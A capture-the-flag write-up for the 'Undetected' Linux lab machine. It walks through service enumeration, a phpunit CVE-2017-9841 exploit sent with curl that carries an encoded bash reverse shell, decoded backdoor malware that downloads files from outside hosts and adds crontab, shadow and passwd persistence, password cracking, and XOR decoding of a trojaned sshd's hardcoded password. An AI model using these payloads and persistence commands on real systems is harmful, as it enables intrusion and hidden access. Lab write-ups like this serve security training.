Undetected is a medium-difficulty Linux machine. However, it was quite challenging in terms of privilege escalation due to the need to analyze a binary.

Machine IP: 10.10.11.146

First, perform a service scan using Nmap, which reveals two open services: SSH and HTTP.

Nmap scan report for 10.10.11.146
Host is up (0.20s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Diana's Jewelry

When I visited the website, I found a subdomain on the store page.

<li class="menu-item"><a href="http://store.djewelry.htb">STORE</a></li>

I added the subdomain to my hosts file. When I accessed it, I found a store site, but most features were non-functional, displaying a notification:

Due to a website migration, we are currently not taking any online orders. Contact us if you wish to make a purchase.

I proceeded with directory enumeration using ffuf.

$ ffuf -w ~/wordlists/common.txt -u http://store.djewelry.htb/FUZZ
<REDACTED> -fc 403
css                     [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 113ms]
fonts                   [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 115ms]
images                  [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 114ms]
index.php               [Status: 200, Size: 6215, Words: 528, Lines: 196, Duration: 114ms]
js                      [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 112ms]
vendor                  [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 115ms]
:: Progress: [4686/4686] :: Job [1/1] :: 310 req/sec :: Duration: [0:00:16] :: Errors: 0 ::

The vendor directory caught my attention, and it had directory listing enabled. Inside, I found several subdirectories and identified phpunit version 5.6 from the last changelog.

phpunit

This version of phpunit has a known vulnerability (CVE-2017-9841). Exploitation involves sending code via POST data to a vulnerable script.

$ curl --data "<?php system(base64_decode('L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNTEvNDQ0NCAwPiYxIgo='));" http://store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Start a listener in another terminal session to receive the connection.

$ nc -nvlp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.146 59952
bash: cannot set terminal process group (917): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

After gaining a reverse shell, I typically run LinPEAS for enumeration.

linpeas

info

I found a file /var/backups/info owned by www-data, which was a binary file. I downloaded it to my machine for analysis.

info-strings

Using the strings command, I found a hex-encoded string. Decoding it provided the following output:

$ cat hex | xxd -p -r
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;

Since there was a hash present, I saved it to a file and performed a brute-force attack using John the Ripper.

$ cat hash
steven1:$6$zS7ykHfFMg3aYht4$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7:::
$ john --wordlist=/path/to/rockyou.txt hash
$ john --show hash
steven1:ihatehackers:18813:0:99999:7:::

I logged in via SSH using the credentials steven1:ihatehackers.

ssh steven1@10.10.11.146
steven1@10.10.11.146's password:
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
4fb6d75a0b2c5eb7[REDACTED]

Having gained access as user steven, I checked the mail in /var/mail and found an interesting message.

$ cat /var/mail/steven
From root@production  Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
 by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
 for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
 by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
 Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behaviour with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin

The sysadmin mentioned odd behavior with the Apache service. I inspected the modules in /usr/lib/apache2/modules and found a recently modified file.

-rw-r--r-- 1 root root   34800 May 17  2021 mod_reader.so

I transferred the file to my local machine for analysis and found a base64-encoded string using the strings command.

mod_reader

$ echo "d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk" | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd

It appeared that /usr/sbin/sshd had been replaced with another

file using wget. I downloaded /usr/sbin/sshd and analyzed it with Ghidra, finding a suspicious auth_password function.

int auth_password(ssh *ssh,char *password)
{
  Authctxt *ctxt;
  passwd *ppVar1;
  int iVar2;
  uint uVar3;
  byte *pbVar4;
  byte *pbVar5;
  size_t sVar6;
  byte bVar7;
  int iVar8;
  long in_FS_OFFSET;
  char backdoor [31];
  byte local_39 [9];
  long local_30;

  bVar7 = 0xd6;
  ctxt = (Authctxt *)ssh->authctxt;
  local_30 = *(long *)(in_FS_OFFSET + 0x28);
  backdoor._28_2_ = 0xa9f4;
  ppVar1 = ctxt->pw;
  iVar8 = ctxt->valid;
  backdoor._24_4_ = 0xbcf0b5e3;
  backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
  backdoor[30] = -0x5b;
  backdoor._0_4_ = 0xf0e7abd6;
  backdoor._4_4_ = 0xa4b3a3f3;
  backdoor._8_4_ = 0xf7bbfdc8;
  backdoor._12_4_ = 0xfdb3d6e7;
  pbVar4 = (byte *)backdoor;
  while( true ) {
    pbVar5 = pbVar4 + 1;
    *pbVar4 = bVar7 ^ 0x96;
    if (pbVar5 == local_39) break;
    bVar7 = *pbVar5;
    pbVar4 = pbVar5;
  }
  iVar2 = strcmp(password,backdoor);
  uVar3 = 1;
  if (iVar2 != 0) {
    sVar6 = strlen(password);
    uVar3 = 0;
    if (sVar6 < 0x401) {
      if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
        iVar8 = 0;
      }
      if ((*password != '\0') ||
         (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
        if (auth_password::expire_checked == 0) {
          auth_password::expire_checked = 1;
          iVar2 = auth_shadow_pwexpired(ctxt);
          if (iVar2 != 0) {
            ctxt->force_pwchange = 1;
          }
        }
        iVar2 = sys_auth_passwd(ssh,password);
        if (ctxt->force_pwchange != 0) {
          auth_restrict_session(ssh);
        }
        uVar3 = (uint)(iVar2 != 0 && iVar8 != 0);
      }
    }
  }
  if (local_30 == *(long *)(in_FS_OFFSET + 0x28)) {
    return uVar3;
  }
  __stack_chk_fail();
}

From the decompiled function, I concluded the following:

  1. The function accepts two parameters, one of which is the password.
  2. Each character of the password is XOR’d with 0x96.
  3. strcmp(password, backdoor) compares the two strings.

I wrote a solver to retrieve the valid password from the backdoor variable.

import struct

backdoor  = struct.pack("<I", 0xf0e7abd6) # backdoor._0_4_
backdoor += struct.pack("<I", 0xa4b3a3f3) # backdoor._4_4_
backdoor += struct.pack("<I", 0xf7bbfdc8) # backdoor._8_4_
backdoor += struct.pack("<I", 0xfdb3d6e7) # backdoor._12_4_
backdoor += struct.pack("<Q", 0xb2d6f4a0fda0b3d6) # backdoor._16_8_
backdoor += struct.pack("<I", 0xbcf0b5e3) # backdoor._24_4_
backdoor += struct.pack("<H", 0xa9f4) # backdoor._28_2_
backdoor += struct.pack("<B", 0xa5) # backdoor[30]
password = []

for x in backdoor:
    password.append(x ^ 0x96)

print(bytes(password))

Running the script revealed the password. I then used it to log in as root via SSH.

$ python3 solve.py
b'@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3'
$ ssh root@10.10.11.146
root@10.10.11.146's password: @=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3
Last login: Mon Jul  4 07:38:42 2022 from 10.10.14.51
root@production:~# id
uid=0(root) gid=0(root) groups=0(root)
root@production:~# cat root.txt
4a2e48198e823b91[REDACTED]

Rooted!